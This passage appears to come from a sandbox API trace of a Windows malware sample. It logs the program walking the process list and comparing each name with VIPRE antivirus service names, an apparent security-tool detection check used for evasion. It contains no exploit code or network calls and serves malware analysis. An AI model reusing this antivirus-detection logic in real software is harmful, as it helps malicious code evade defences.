lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0067.542] lstrcpyW (in: lpString1=0x1ebf940, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0067.542] lstrlenW (lpString="audiodg.exe") returned 11 [0067.543] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0067.543] lstrcmpW (lpString1="AUDIODG.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.543] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0067.543] lstrcpyW (in: lpString1=0x1ebf940, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0067.543] lstrlenW (lpString="SCN0tification.exe") returned 18 [0067.543] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0067.543] lstrcmpW (lpString1="SCN0TIFICATION.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.544] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 0 [0067.544] CloseHandle (hObject=0x1d0) returned 1 [0067.544] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d0 [0067.547] lstrcpyW (in: lpString1=0x1ebfb48, lpString2="VipreAAPSvc.exe" | out: lpString1="VipreAAPSvc.exe") returned="VipreAAPSvc.exe" [0067.547] lstrlenW (lpString="VipreAAPSvc.exe") returned 15 [0067.547] CharUpperBuffW (in: lpsz="VipreAAPSvc.exe", cchLength=0xf | out: lpsz="VIPREAAPSVC.EXE") returned 0xf [0067.547] Process32FirstW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0067.548] lstrcpyW (in: lpString1=0x1ebf940, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0067.548] lstrlenW (lpString="[System Process]") returned 16 [0067.548] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0067.548] lstrcmpW (lpString1="[SYSTEM PROCESS]", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.548] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x65, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0067.548] lstrcpyW (in: lpString1=0x1ebf940, lpString2="System" | out: lpString1="System") returned="System" [0067.548] lstrlenW (lpString="System") returned 6 [0067.548] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0067.548] lstrcmpW (lpString1="SYSTEM", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.548] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0067.549] lstrcpyW (in: lpString1=0x1ebf940, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0067.549] lstrlenW (lpString="smss.exe") returned 8 [0067.549] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0067.549] lstrcmpW (lpString1="SMSS.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.549] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.549] lstrcpyW (in: lpString1=0x1ebf940, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0067.549] lstrlenW (lpString="csrss.exe") returned 9 [0067.549] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0067.550] lstrcmpW (lpString1="CSRSS.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.550] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0067.550] lstrcpyW (in: lpString1=0x1ebf940, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0067.550] lstrlenW (lpString="wininit.exe") returned 11 [0067.550] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0067.550] lstrcmpW (lpString1="WININIT.EXE", lpString2="VIPREAAPSVC.EXE") returned 1 [0067.550] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.551] lstrcpyW (in: lpString1=0x1ebf940, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0067.551] lstrlenW (lpString="csrss.exe") returned 9 [0067.551] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0067.551] lstrcmpW (lpString1="CSRSS.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.551] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0067.551] lstrcpyW (in: lpString1=0x1ebf940, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0067.551] lstrlenW (lpString="winlogon.exe") returned 12 [0067.551] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0067.551] lstrcmpW (lpString1="WINLOGON.EXE", lpString2="VIPREAAPSVC.EXE") returned 1 [0067.551] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0067.552] lstrcpyW (in: lpString1=0x1ebf940, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0067.552] lstrlenW (lpString="services.exe") returned 12 [0067.552] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0067.552] lstrcmpW (lpString1="SERVICES.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.552] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0067.552] lstrcpyW (in: lpString1=0x1ebf940, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0067.552] lstrlenW (lpString="lsass.exe") returned 9 [0067.552] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0067.552] lstrcmpW (lpString1="LSASS.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.552] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.553] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.553] lstrlenW (lpString="svchost.exe") returned 11 [0067.553] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.553] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.553] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.554] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.554] lstrlenW (lpString="svchost.exe") returned 11 [0067.554] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.554] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.554] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0067.554] lstrcpyW (in: lpString1=0x1ebf940, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0067.554] lstrlenW (lpString="dwm.exe") returned 7 [0067.554] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0067.554] lstrcmpW (lpString1="DWM.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.554] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.555] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.555] lstrlenW (lpString="svchost.exe") returned 11 [0067.555] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.555] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.555] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.555] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.556] lstrlenW (lpString="svchost.exe") returned 11 [0067.556] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.556] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.556] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.556] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.556] lstrlenW (lpString="svchost.exe") returned 11 [0067.556] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.556] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.556] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.557] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.557] lstrlenW (lpString="svchost.exe") returned 11 [0067.557] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.557] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.557] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.557] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.557] lstrlenW (lpString="svchost.exe") returned 11 [0067.557] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.557] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.557] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.558] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.558] lstrlenW (lpString="svchost.exe") returned 11 [0067.558] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.558] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.558] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0067.559] lstrcpyW (in: lpString1=0x1ebf940, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0067.559] lstrlenW (lpString="spoolsv.exe") returned 11 [0067.559] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0067.559] lstrcmpW (lpString1="SPOOLSV.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.559] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.559] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.559] lstrlenW (lpString="svchost.exe") returned 11 [0067.559] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.559] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.559] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.560] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.560] lstrlenW (lpString="svchost.exe") returned 11 [0067.560] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.560] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.560] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0067.561] lstrcpyW (in: lpString1=0x1ebf940, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0067.561] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0067.561] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0067.561] lstrcmpW (lpString1="OFFICECLICKTORUN.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.561] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.561] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.561] lstrlenW (lpString="svchost.exe") returned 11 [0067.561] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.562] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.562] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0067.562] lstrcpyW (in: lpString1=0x1ebf940, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0067.562] lstrlenW (lpString="sihost.exe") returned 10 [0067.562] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0067.562] lstrcmpW (lpString1="SIHOST.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.562] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0067.563] lstrcpyW (in: lpString1=0x1ebf940, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0067.563] lstrlenW (lpString="taskhostw.exe") returned 13 [0067.563] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0067.563] lstrcmpW (lpString1="TASKHOSTW.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.563] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0067.563] lstrcpyW (in: lpString1=0x1ebf940, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0067.563] lstrlenW (lpString="explorer.exe") returned 12 [0067.563] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0067.563] lstrcmpW (lpString1="EXPLORER.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.563] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0067.564] lstrcpyW (in: lpString1=0x1ebf940, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0067.564] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0067.564] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0067.564] lstrcmpW (lpString1="RUNTIMEBROKER.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.564] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0067.565] lstrcpyW (in: lpString1=0x1ebf940, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0067.565] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0067.565] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0067.565] lstrcmpW (lpString1="SHELLEXPERIENCEHOST.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.565] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0067.565] lstrcpyW (in: lpString1=0x1ebf940, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0067.565] lstrlenW (lpString="SearchUI.exe") returned 12 [0067.565] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0067.565] lstrcmpW (lpString1="SEARCHUI.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.565] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0067.566] lstrcpyW (in: lpString1=0x1ebf940, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0067.566] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0067.566] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0067.566] lstrcmpW (lpString1="COMMANDSXEROXRELATIONSHIP.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.566] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0067.567] lstrcpyW (in: lpString1=0x1ebf940, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0067.567] lstrlenW (lpString="nice cu.exe") returned 11 [0067.567] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0067.567] lstrcmpW (lpString1="NICE CU.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.567] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0067.567] lstrcpyW (in: lpString1=0x1ebf940, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0067.567] lstrlenW (lpString="video_reviewing.exe") returned 19 [0067.567] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0067.567] lstrcmpW (lpString1="VIDEO_REVIEWING.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.567] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0067.568] lstrcpyW (in: lpString1=0x1ebf940, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0067.568] lstrlenW (lpString="shame.exe") returned 9 [0067.568] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0067.568] lstrcmpW (lpString1="SHAME.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.568] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0067.568] lstrcpyW (in: lpString1=0x1ebf940, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0067.568] lstrlenW (lpString="fantasy.exe") returned 11 [0067.568] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0067.569] lstrcmpW (lpString1="FANTASY.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.569] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 